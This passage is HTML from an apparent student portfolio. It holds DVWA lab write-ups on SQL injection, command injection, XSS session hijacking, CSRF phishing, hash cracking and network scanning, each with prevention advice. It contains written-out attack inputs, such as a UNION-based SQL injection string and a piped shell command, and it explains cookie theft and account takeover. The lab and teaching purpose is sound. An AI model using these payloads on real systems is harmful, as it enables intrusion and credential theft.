data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will 